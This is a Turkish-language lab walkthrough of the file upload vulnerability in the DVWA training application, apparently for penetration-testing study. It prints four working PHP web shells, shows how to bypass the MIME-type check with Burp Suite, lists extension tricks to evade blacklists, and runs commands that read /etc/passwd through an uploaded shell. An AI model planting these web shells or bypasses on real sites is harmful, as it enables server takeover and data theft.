Mevcut uygulamada kullanıcıdan bir resim dosyası yüklenmesi beklenmektedir.
http://10.10.2.156/dvwa/vulnerabilities/upload/
Yüklenen resim dosyasının yeri de ekrana basılmaktadır. Bu bilgiye göre dosya, mevcut dizinin 2 üst dizininde bulunan “hackable/uploads” dizinine kaydedilmektedir.
../../hackable/uploads/Resim.jpg succesfully uploaded!
Kaydedilen resim ve resmin kaydedildiği dizin aşağıdaki gibidir.
http://10.10.2.156/dvwa/hackable/uploads/
http://10.10.2.156/dvwa/hackable/uploads/Resim.jpg
Gerekli kontrollerin yapılmadığı durumda hedef uygulamaya resim yerine başka dosyalar da yüklenebilir. Örneğin zararlı bir PHP sayfası hedef sunucuya yüklenebilir ve kabuk erişimi elde edilebilir.
Hedef uygulamaya yüklenecek bir PHP sayfası aşağıdaki gibidir.
1 2 3 4 5 6 7 8 9 |
<form action="" method="GET" encytype="application/x-www-form-urlencoded"> Komudu Giriniz: <input type="text" name="Komut" size="50"/> <input type="submit" value="Komutu Calistir"/> </form> <?php echo "<pre>"; echo shell_exec(@$_REQUEST["Komut"]); echo "</pre>"; ?> |
Kullanılabilecek bir diğer sayfa ise aşağıdaki gibi olabilir.
1 2 3 4 5 6 7 8 |
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>$cmd<pre>"; die; } ?> |
Üçüncü örnek bir sayfa da aşağıdaki gibidir.
1 2 3 |
<?php system($_GET['Komut']) ?> VEYA <?php system($_GET["Komut"]) ?> |
Dördüncü örnek bir sayfa da aşağıdaki gibidir.
1 |
<?php $sonuc=$_GET['komut']; echo `$sonuc`; ?> |
Trafiğin İncelenmesi
Hazırlanan sayfanın hedef uygulamaya yüklenemediği görülmektedir.
Sunucu ve istemci arasındaki trafiğin arasına Burp Suite aracı ile girilebilir.
Trafik incelendiğinde, “Resim.jpg” dosyası hedef uygulamaya yüklenirken dosya tipinin “image/jpeg” olduğu görülmektedir.
Yüklenmek istenen PHP sayfasının tipinin ise “application/octet-stream” olduğu görülmektedir.
Uygulama incelendiğinde dosyanın tipine göre kontrol yaptığı görülecektir.
Yöntem – 1: Dosya Tipinin Değiştirilmesi
PHP sayfası yüklenirken araya girilen trafikte “Content-Type:” alanına karşılık gelen değer “application/octet-stream” yerine “image/jpeg” yapılarak uygulamanın vereceği cevap beklenebilir.
Böylece dosyanın hedefe yüklenebildiği görülmektedir.
Sayfa çağırıldığında hedef sistemin işletim sisteminde çalıştırılabilecek bir formun sunulduğu görülmektedir.
http://10.10.2.156/dvwa/hackable/uploads/YeniSayfa.php
Böylece işletim sistemi üzerinde uygulama kullanıcısı (www-data) yetkileri ile komut çalıştırılabilmektedir.
id; uname -a; head -3 /etc/passwd
http://10.10.2.156/dvwa/hackable/uploads/YeniSayfa.php?Komut=id%3B+uname+-a%3B+head+-3+%2Fetc%2Fpasswd
Yöntem – 2: Dosya Uzantısının Değiştirilmesi
PHP sayfasının dosya uzantısı “.jpg” olarak değiştirilerek uygulamanın vereceği cevap incelenebilir.
Not: Benzer olarak “YeniSayfa.php;.jpg” gibi bir isim de verilebilirdi. Bu uygulamada sadece belli türdeki (“image/jpeg” gibi) dosyaların yüklenmesine izin verilmektedir, yani whitelisting uygulanmaktadır. Eğer kara liste yöntemi uygulansa ve ‘.php’ ifadesi ile biten dosyaların yüklenmesi yasaklansa idi “YeniSayfa.php.birseyler”, “YeniSayfa.php3”, “YeniSayfa.php4”, “YeniSayfa.phtml”, “YeniSayfa.php?” gibi uzantıdaki bir türde veya büyük/küçük harf duyarsız olan kara listelerin kullanıldığı durumlarda “YeniSayfa.pHp” gibi isimlendirilmiş dosyalar da yüklenebilirdi.
Dosya yüklenirken araya girilen trafikte “Content-Type:” alanının otomatik olarak “image/jpeg” algılandığı (sniff edildiği) görülmektedir.
Araya girilen trafikte yüklenecek dosyanın uzantısı eski haline getirildiğinde (“php.jpg”‘den “php” olarak güncellediğinde) uygulamanın vereceği cevap beklenebilir.
Böylece dosyanın hedefe yüklenebildiği görülmektedir.
İlgili Kaynak Kod:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
<?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } ?> |
Kaynak:
http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-12—File-Upload-Medium-Level.php
Hack File upload Vulnerability in DVWA (Bypass All Security)
https://pentestlab.blog/2012/11/29/bypassing-file-upload-restrictions//